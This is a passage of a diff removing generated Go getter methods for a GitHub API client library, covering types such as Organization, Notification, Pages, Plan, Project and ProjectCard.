GetLDAPDN() string { - if n == nil || n.LDAPDN == nil { - return "" - } - return *n.LDAPDN -} - -// GetParentTeamID returns the ParentTeamID field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetParentTeamID() int64 { - if n == nil || n.ParentTeamID == nil { - return 0 - } - return *n.ParentTeamID -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetPermission() string { - if n == nil || n.Permission == nil { - return "" - } - return *n.Permission -} - -// GetPrivacy returns the Privacy field if it's non-nil, zero value otherwise. -func (n *NewTeam) GetPrivacy() string { - if n == nil || n.Privacy == nil { - return "" - } - return *n.Privacy -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (n *Notification) GetID() string { - if n == nil || n.ID == nil { - return "" - } - return *n.ID -} - -// GetLastReadAt returns the LastReadAt field if it's non-nil, zero value otherwise. -func (n *Notification) GetLastReadAt() time.Time { - if n == nil || n.LastReadAt == nil { - return time.Time{} - } - return *n.LastReadAt -} - -// GetReason returns the Reason field if it's non-nil, zero value otherwise. -func (n *Notification) GetReason() string { - if n == nil || n.Reason == nil { - return "" - } - return *n.Reason -} - -// GetRepository returns the Repository field. -func (n *Notification) GetRepository() *Repository { - if n == nil { - return nil - } - return n.Repository -} - -// GetSubject returns the Subject field. -func (n *Notification) GetSubject() *NotificationSubject { - if n == nil { - return nil - } - return n.Subject -} - -// GetUnread returns the Unread field if it's non-nil, zero value otherwise. -func (n *Notification) GetUnread() bool { - if n == nil || n.Unread == nil { - return false - } - return *n.Unread -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (n *Notification) GetUpdatedAt() time.Time { - if n == nil || n.UpdatedAt == nil { - return time.Time{} - } - return *n.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (n *Notification) GetURL() string { - if n == nil || n.URL == nil { - return "" - } - return *n.URL -} - -// GetLatestCommentURL returns the LatestCommentURL field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetLatestCommentURL() string { - if n == nil || n.LatestCommentURL == nil { - return "" - } - return *n.LatestCommentURL -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetTitle() string { - if n == nil || n.Title == nil { - return "" - } - return *n.Title -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetType() string { - if n == nil || n.Type == nil { - return "" - } - return *n.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (n *NotificationSubject) GetURL() string { - if n == nil || n.URL == nil { - return "" - } - return *n.URL -} - -// GetClientID returns the ClientID field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetClientID() string { - if o == nil || o.ClientID == nil { - return "" - } - return *o.ClientID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetName() string { - if o == nil || o.Name == nil { - return "" - } - return *o.Name -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (o *OAuthAPP) GetURL() string { - if o == nil || o.URL == nil { - return "" - } - return *o.URL -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetAvatarURL() string { - if o == nil || o.AvatarURL == nil { - return "" - } - return *o.AvatarURL -} - -// GetBillingEmail returns the BillingEmail field if it's non-nil, zero value otherwise. -func (o *Organization) GetBillingEmail() string { - if o == nil || o.BillingEmail == nil { - return "" - } - return *o.BillingEmail -} - -// GetBlog returns the Blog field if it's non-nil, zero value otherwise. -func (o *Organization) GetBlog() string { - if o == nil || o.Blog == nil { - return "" - } - return *o.Blog -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (o *Organization) GetCollaborators() int { - if o == nil || o.Collaborators == nil { - return 0 - } - return *o.Collaborators -} - -// GetCompany returns the Company field if it's non-nil, zero value otherwise. -func (o *Organization) GetCompany() string { - if o == nil || o.Company == nil { - return "" - } - return *o.Company -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (o *Organization) GetCreatedAt() time.Time { - if o == nil || o.CreatedAt == nil { - return time.Time{} - } - return *o.CreatedAt -} - -// GetDefaultRepoPermission returns the DefaultRepoPermission field if it's non-nil, zero value otherwise. -func (o *Organization) GetDefaultRepoPermission() string { - if o == nil || o.DefaultRepoPermission == nil { - return "" - } - return *o.DefaultRepoPermission -} - -// GetDefaultRepoSettings returns the DefaultRepoSettings field if it's non-nil, zero value otherwise. -func (o *Organization) GetDefaultRepoSettings() string { - if o == nil || o.DefaultRepoSettings == nil { - return "" - } - return *o.DefaultRepoSettings -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (o *Organization) GetDescription() string { - if o == nil || o.Description == nil { - return "" - } - return *o.Description -} - -// GetDiskUsage returns the DiskUsage field if it's non-nil, zero value otherwise. -func (o *Organization) GetDiskUsage() int { - if o == nil || o.DiskUsage == nil { - return 0 - } - return *o.DiskUsage -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (o *Organization) GetEmail() string { - if o == nil || o.Email == nil { - return "" - } - return *o.Email -} - -// GetEventsURL returns the EventsURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetEventsURL() string { - if o == nil || o.EventsURL == nil { - return "" - } - return *o.EventsURL -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (o *Organization) GetFollowers() int { - if o == nil || o.Followers == nil { - return 0 - } - return *o.Followers -} - -// GetFollowing returns the Following field if it's non-nil, zero value otherwise. -func (o *Organization) GetFollowing() int { - if o == nil || o.Following == nil { - return 0 - } - return *o.Following -} - -// GetHooksURL returns the HooksURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetHooksURL() string { - if o == nil || o.HooksURL == nil { - return "" - } - return *o.HooksURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetHTMLURL() string { - if o == nil || o.HTMLURL == nil { - return "" - } - return *o.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (o *Organization) GetID() int64 { - if o == nil || o.ID == nil { - return 0 - } - return *o.ID -} - -// GetIssuesURL returns the IssuesURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetIssuesURL() string { - if o == nil || o.IssuesURL == nil { - return "" - } - return *o.IssuesURL -} - -// GetLocation returns the Location field if it's non-nil, zero value otherwise. -func (o *Organization) GetLocation() string { - if o == nil || o.Location == nil { - return "" - } - return *o.Location -} - -// GetLogin returns the Login field if it's non-nil, zero value otherwise. -func (o *Organization) GetLogin() string { - if o == nil || o.Login == nil { - return "" - } - return *o.Login -} - -// GetMembersAllowedRepositoryCreationType returns the MembersAllowedRepositoryCreationType field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersAllowedRepositoryCreationType() string { - if o == nil || o.MembersAllowedRepositoryCreationType == nil { - return "" - } - return *o.MembersAllowedRepositoryCreationType -} - -// GetMembersCanCreateInternalRepos returns the MembersCanCreateInternalRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreateInternalRepos() bool { - if o == nil || o.MembersCanCreateInternalRepos == nil { - return false - } - return *o.MembersCanCreateInternalRepos -} - -// GetMembersCanCreatePrivateRepos returns the MembersCanCreatePrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreatePrivateRepos() bool { - if o == nil || o.MembersCanCreatePrivateRepos == nil { - return false - } - return *o.MembersCanCreatePrivateRepos -} - -// GetMembersCanCreatePublicRepos returns the MembersCanCreatePublicRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreatePublicRepos() bool { - if o == nil || o.MembersCanCreatePublicRepos == nil { - return false - } - return *o.MembersCanCreatePublicRepos -} - -// GetMembersCanCreateRepos returns the MembersCanCreateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersCanCreateRepos() bool { - if o == nil || o.MembersCanCreateRepos == nil { - return false - } - return *o.MembersCanCreateRepos -} - -// GetMembersURL returns the MembersURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetMembersURL() string { - if o == nil || o.MembersURL == nil { - return "" - } - return *o.MembersURL -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (o *Organization) GetName() string { - if o == nil || o.Name == nil { - return "" - } - return *o.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (o *Organization) GetNodeID() string { - if o == nil || o.NodeID == nil { - return "" - } - return *o.NodeID -} - -// GetOwnedPrivateRepos returns the OwnedPrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetOwnedPrivateRepos() int { - if o == nil || o.OwnedPrivateRepos == nil { - return 0 - } - return *o.OwnedPrivateRepos -} - -// GetPlan returns the Plan field. -func (o *Organization) GetPlan() *Plan { - if o == nil { - return nil - } - return o.Plan -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (o *Organization) GetPrivateGists() int { - if o == nil || o.PrivateGists == nil { - return 0 - } - return *o.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicGists() int { - if o == nil || o.PublicGists == nil { - return 0 - } - return *o.PublicGists -} - -// GetPublicMembersURL returns the PublicMembersURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicMembersURL() string { - if o == nil || o.PublicMembersURL == nil { - return "" - } - return *o.PublicMembersURL -} - -// GetPublicRepos returns the PublicRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetPublicRepos() int { - if o == nil || o.PublicRepos == nil { - return 0 - } - return *o.PublicRepos -} - -// GetReposURL returns the ReposURL field if it's non-nil, zero value otherwise. -func (o *Organization) GetReposURL() string { - if o == nil || o.ReposURL == nil { - return "" - } - return *o.ReposURL -} - -// GetTotalPrivateRepos returns the TotalPrivateRepos field if it's non-nil, zero value otherwise. -func (o *Organization) GetTotalPrivateRepos() int { - if o == nil || o.TotalPrivateRepos == nil { - return 0 - } - return *o.TotalPrivateRepos -} - -// GetTwoFactorRequirementEnabled returns the TwoFactorRequirementEnabled field if it's non-nil, zero value otherwise. -func (o *Organization) GetTwoFactorRequirementEnabled() bool { - if o == nil || o.TwoFactorRequirementEnabled == nil { - return false - } - return *o.TwoFactorRequirementEnabled -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (o *Organization) GetType() string { - if o == nil || o.Type == nil { - return "" - } - return *o.Type -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (o *Organization) GetUpdatedAt() time.Time { - if o == nil || o.UpdatedAt == nil { - return time.Time{} - } - return *o.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (o *Organization) GetURL() string { - if o == nil || o.URL == nil { - return "" - } - return *o.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (o *OrganizationEvent) GetAction() string { - if o == nil || o.Action == nil { - return "" - } - return *o.Action -} - -// GetInstallation returns the Installation field. -func (o *OrganizationEvent) GetInstallation() *Installation { - if o == nil { - return nil - } - return o.Installation -} - -// GetInvitation returns the Invitation field. -func (o *OrganizationEvent) GetInvitation() *Invitation { - if o == nil { - return nil - } - return o.Invitation -} - -// GetMembership returns the Membership field. -func (o *OrganizationEvent) GetMembership() *Membership { - if o == nil { - return nil - } - return o.Membership -} - -// GetOrganization returns the Organization field. -func (o *OrganizationEvent) GetOrganization() *Organization { - if o == nil { - return nil - } - return o.Organization -} - -// GetSender returns the Sender field. -func (o *OrganizationEvent) GetSender() *User { - if o == nil { - return nil - } - return o.Sender -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (o *OrganizationInstallations) GetTotalCount() int { - if o == nil || o.TotalCount == nil { - return 0 - } - return *o.TotalCount -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (o *OrgBlockEvent) GetAction() string { - if o == nil || o.Action == nil { - return "" - } - return *o.Action -} - -// GetBlockedUser returns the BlockedUser field. -func (o *OrgBlockEvent) GetBlockedUser() *User { - if o == nil { - return nil - } - return o.BlockedUser -} - -// GetInstallation returns the Installation field. -func (o *OrgBlockEvent) GetInstallation() *Installation { - if o == nil { - return nil - } - return o.Installation -} - -// GetOrganization returns the Organization field. -func (o *OrgBlockEvent) GetOrganization() *Organization { - if o == nil { - return nil - } - return o.Organization -} - -// GetSender returns the Sender field. -func (o *OrgBlockEvent) GetSender() *User { - if o == nil { - return nil - } - return o.Sender -} - -// GetDisabledOrgs returns the DisabledOrgs field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetDisabledOrgs() int { - if o == nil || o.DisabledOrgs == nil { - return 0 - } - return *o.DisabledOrgs -} - -// GetTotalOrgs returns the TotalOrgs field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalOrgs() int { - if o == nil || o.TotalOrgs == nil { - return 0 - } - return *o.TotalOrgs -} - -// GetTotalTeamMembers returns the TotalTeamMembers field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalTeamMembers() int { - if o == nil || o.TotalTeamMembers == nil { - return 0 - } - return *o.TotalTeamMembers -} - -// GetTotalTeams returns the TotalTeams field if it's non-nil, zero value otherwise. -func (o *OrgStats) GetTotalTeams() int { - if o == nil || o.TotalTeams == nil { - return 0 - } - return *o.TotalTeams -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *Page) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Page) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetPageName returns the PageName field if it's non-nil, zero value otherwise. -func (p *Page) GetPageName() string { - if p == nil || p.PageName == nil { - return "" - } - return *p.PageName -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (p *Page) GetSHA() string { - if p == nil || p.SHA == nil { - return "" - } - return *p.SHA -} - -// GetSummary returns the Summary field if it's non-nil, zero value otherwise. -func (p *Page) GetSummary() string { - if p == nil || p.Summary == nil { - return "" - } - return *p.Summary -} - -// GetTitle returns the Title field if it's non-nil, zero value otherwise. -func (p *Page) GetTitle() string { - if p == nil || p.Title == nil { - return "" - } - return *p.Title -} - -// GetBuild returns the Build field. -func (p *PageBuildEvent) GetBuild() *PagesBuild { - if p == nil { - return nil - } - return p.Build -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PageBuildEvent) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetInstallation returns the Installation field. -func (p *PageBuildEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetRepo returns the Repo field. -func (p *PageBuildEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *PageBuildEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetCNAME returns the CNAME field if it's non-nil, zero value otherwise. -func (p *Pages) GetCNAME() string { - if p == nil || p.CNAME == nil { - return "" - } - return *p.CNAME -} - -// GetCustom404 returns the Custom404 field if it's non-nil, zero value otherwise. -func (p *Pages) GetCustom404() bool { - if p == nil || p.Custom404 == nil { - return false - } - return *p.Custom404 -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Pages) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetSource returns the Source field. -func (p *Pages) GetSource() *PagesSource { - if p == nil { - return nil - } - return p.Source -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (p *Pages) GetStatus() string { - if p == nil || p.Status == nil { - return "" - } - return *p.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *Pages) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetCommit returns the Commit field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetCommit() string { - if p == nil || p.Commit == nil { - return "" - } - return *p.Commit -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetDuration returns the Duration field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetDuration() int { - if p == nil || p.Duration == nil { - return 0 - } - return *p.Duration -} - -// GetError returns the Error field. -func (p *PagesBuild) GetError() *PagesError { - if p == nil { - return nil - } - return p.Error -} - -// GetPusher returns the Pusher field. -func (p *PagesBuild) GetPusher() *User { - if p == nil { - return nil - } - return p.Pusher -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetStatus() string { - if p == nil || p.Status == nil { - return "" - } - return *p.Status -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *PagesBuild) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (p *PagesError) GetMessage() string { - if p == nil || p.Message == nil { - return "" - } - return *p.Message -} - -// GetBranch returns the Branch field if it's non-nil, zero value otherwise. -func (p *PagesSource) GetBranch() string { - if p == nil || p.Branch == nil { - return "" - } - return *p.Branch -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (p *PagesSource) GetPath() string { - if p == nil || p.Path == nil { - return "" - } - return *p.Path -} - -// GetTotalPages returns the TotalPages field if it's non-nil, zero value otherwise. -func (p *PageStats) GetTotalPages() int { - if p == nil || p.TotalPages == nil { - return 0 - } - return *p.TotalPages -} - -// GetHook returns the Hook field. -func (p *PingEvent) GetHook() *Hook { - if p == nil { - return nil - } - return p.Hook -} - -// GetHookID returns the HookID field if it's non-nil, zero value otherwise. -func (p *PingEvent) GetHookID() int64 { - if p == nil || p.HookID == nil { - return 0 - } - return *p.HookID -} - -// GetInstallation returns the Installation field. -func (p *PingEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetZen returns the Zen field if it's non-nil, zero value otherwise. -func (p *PingEvent) GetZen() string { - if p == nil || p.Zen == nil { - return "" - } - return *p.Zen -} - -// GetCollaborators returns the Collaborators field if it's non-nil, zero value otherwise. -func (p *Plan) GetCollaborators() int { - if p == nil || p.Collaborators == nil { - return 0 - } - return *p.Collaborators -} - -// GetFilledSeats returns the FilledSeats field if it's non-nil, zero value otherwise. -func (p *Plan) GetFilledSeats() int { - if p == nil || p.FilledSeats == nil { - return 0 - } - return *p.FilledSeats -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *Plan) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetPrivateRepos returns the PrivateRepos field if it's non-nil, zero value otherwise. -func (p *Plan) GetPrivateRepos() int { - if p == nil || p.PrivateRepos == nil { - return 0 - } - return *p.PrivateRepos -} - -// GetSeats returns the Seats field if it's non-nil, zero value otherwise. -func (p *Plan) GetSeats() int { - if p == nil || p.Seats == nil { - return 0 - } - return *p.Seats -} - -// GetSpace returns the Space field if it's non-nil, zero value otherwise. -func (p *Plan) GetSpace() int { - if p == nil || p.Space == nil { - return 0 - } - return *p.Space -} - -// GetConfigURL returns the ConfigURL field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetConfigURL() string { - if p == nil || p.ConfigURL == nil { - return "" - } - return *p.ConfigURL -} - -// GetEnforcement returns the Enforcement field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetEnforcement() string { - if p == nil || p.Enforcement == nil { - return "" - } - return *p.Enforcement -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *PreReceiveHook) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetHRef returns the HRef field if it's non-nil, zero value otherwise. -func (p *PRLink) GetHRef() string { - if p == nil || p.HRef == nil { - return "" - } - return *p.HRef -} - -// GetComments returns the Comments field. -func (p *PRLinks) GetComments() *PRLink { - if p == nil { - return nil - } - return p.Comments -} - -// GetCommits returns the Commits field. -func (p *PRLinks) GetCommits() *PRLink { - if p == nil { - return nil - } - return p.Commits -} - -// GetHTML returns the HTML field. -func (p *PRLinks) GetHTML() *PRLink { - if p == nil { - return nil - } - return p.HTML -} - -// GetIssue returns the Issue field. -func (p *PRLinks) GetIssue() *PRLink { - if p == nil { - return nil - } - return p.Issue -} - -// GetReviewComment returns the ReviewComment field. -func (p *PRLinks) GetReviewComment() *PRLink { - if p == nil { - return nil - } - return p.ReviewComment -} - -// GetReviewComments returns the ReviewComments field. -func (p *PRLinks) GetReviewComments() *PRLink { - if p == nil { - return nil - } - return p.ReviewComments -} - -// GetSelf returns the Self field. -func (p *PRLinks) GetSelf() *PRLink { - if p == nil { - return nil - } - return p.Self -} - -// GetStatuses returns the Statuses field. -func (p *PRLinks) GetStatuses() *PRLink { - if p == nil { - return nil - } - return p.Statuses -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (p *Project) GetBody() string { - if p == nil || p.Body == nil { - return "" - } - return *p.Body -} - -// GetColumnsURL returns the ColumnsURL field if it's non-nil, zero value otherwise. -func (p *Project) GetColumnsURL() string { - if p == nil || p.ColumnsURL == nil { - return "" - } - return *p.ColumnsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *Project) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetCreator returns the Creator field. -func (p *Project) GetCreator() *User { - if p == nil { - return nil - } - return p.Creator -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (p *Project) GetHTMLURL() string { - if p == nil || p.HTMLURL == nil { - return "" - } - return *p.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *Project) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *Project) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *Project) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNumber returns the Number field if it's non-nil, zero value otherwise. -func (p *Project) GetNumber() int { - if p == nil || p.Number == nil { - return 0 - } - return *p.Number -} - -// GetOwnerURL returns the OwnerURL field if it's non-nil, zero value otherwise. -func (p *Project) GetOwnerURL() string { - if p == nil || p.OwnerURL == nil { - return "" - } - return *p.OwnerURL -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (p *Project) GetState() string { - if p == nil || p.State == nil { - return "" - } - return *p.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *Project) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *Project) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetArchived() bool { - if p == nil || p.Archived == nil { - return false - } - return *p.Archived -} - -// GetColumnID returns the ColumnID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnID() int64 { - if p == nil || p.ColumnID == nil { - return 0 - } - return *p.ColumnID -} - -// GetColumnName returns the ColumnName field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnName() string { - if p == nil || p.ColumnName == nil { - return "" - } - return *p.ColumnName -} - -// GetColumnURL returns the ColumnURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetColumnURL() string { - if p == nil || p.ColumnURL == nil { - return "" - } - return *p.ColumnURL -} - -// GetContentURL returns the ContentURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetContentURL() string { - if p == nil || p.ContentURL == nil { - return "" - } - return *p.ContentURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetCreator returns the Creator field. -func (p *ProjectCard) GetCreator() *User { - if p == nil { - return nil - } - return p.Creator -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetNote returns the Note field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetNote() string { - if p == nil || p.Note == nil { - return "" - } - return *p.Note -} - -// GetPreviousColumnName returns the PreviousColumnName field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetPreviousColumnName() string { - if p == nil || p.PreviousColumnName == nil { - return "" - } - return *p.PreviousColumnName -} - -// GetProjectID returns the ProjectID field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetProjectID() int64 { - if p == nil || p.ProjectID == nil { - return 0 - } - return *p.ProjectID -} - -// GetProjectURL returns the ProjectURL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetProjectURL() string { - if p == nil || p.ProjectURL == nil { - return "" - } - return *p.ProjectURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *ProjectCard) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectCardEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAfterID returns the AfterID field if it's non-nil, zero value otherwise. -func (p *ProjectCardEvent) GetAfterID() int64 { - if p == nil || p.AfterID == nil { - return 0 - } - return *p.AfterID -} - -// GetChanges returns the Changes field. -func (p *ProjectCardEvent) GetChanges() *ProjectCardChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p *ProjectCardEvent) GetInstallation() *Installation { - if p == nil { - return nil - } - return p.Installation -} - -// GetOrg returns the Org field. -func (p *ProjectCardEvent) GetOrg() *Organization { - if p == nil { - return nil - } - return p.Org -} - -// GetProjectCard returns the ProjectCard field. -func (p *ProjectCardEvent) GetProjectCard() *ProjectCard { - if p == nil { - return nil - } - return p.ProjectCard -} - -// GetRepo returns the Repo field. -func (p *ProjectCardEvent) GetRepo() *Repository { - if p == nil { - return nil - } - return p.Repo -} - -// GetSender returns the Sender field. -func (p *ProjectCardEvent) GetSender() *User { - if p == nil { - return nil - } - return p.Sender -} - -// GetArchivedState returns the ArchivedState field if it's non-nil, zero value otherwise. -func (p *ProjectCardListOptions) GetArchivedState() string { - if p == nil || p.ArchivedState == nil { - return "" - } - return *p.ArchivedState -} - -// GetArchived returns the Archived field if it's non-nil, zero value otherwise. -func (p *ProjectCardOptions) GetArchived() bool { - if p == nil || p.Archived == nil { - return false - } - return *p.Archived -} - -// GetPermission returns the Permission field if it's non-nil, zero value otherwise. -func (p *ProjectCollaboratorOptions) GetPermission() string { - if p == nil || p.Permission == nil { - return "" - } - return *p.Permission -} - -// GetCardsURL returns the CardsURL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetCardsURL() string { - if p == nil || p.CardsURL == nil { - return "" - } - return *p.CardsURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetCreatedAt() Timestamp { - if p == nil || p.CreatedAt == nil { - return Timestamp{} - } - return *p.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetID() int64 { - if p == nil || p.ID == nil { - return 0 - } - return *p.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetName() string { - if p == nil || p.Name == nil { - return "" - } - return *p.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetNodeID() string { - if p == nil || p.NodeID == nil { - return "" - } - return *p.NodeID -} - -// GetProjectURL returns the ProjectURL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetProjectURL() string { - if p == nil || p.ProjectURL == nil { - return "" - } - return *p.ProjectURL -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetUpdatedAt() Timestamp { - if p == nil || p.UpdatedAt == nil { - return Timestamp{} - } - return *p.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (p *ProjectColumn) GetURL() string { - if p == nil || p.URL == nil { - return "" - } - return *p.URL -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (p *ProjectColumnEvent) GetAction() string { - if p == nil || p.Action == nil { - return "" - } - return *p.Action -} - -// GetAfterID returns the AfterID field if it's non-nil, zero value otherwise. -func (p *ProjectColumnEvent) GetAfterID() int64 { - if p == nil || p.AfterID == nil { - return 0 - } - return *p.AfterID -} - -// GetChanges returns the Changes field. -func (p *ProjectColumnEvent) GetChanges() *ProjectColumnChange { - if p == nil { - return nil - } - return p.Changes -} - -// GetInstallation returns the Installation field. -func (p 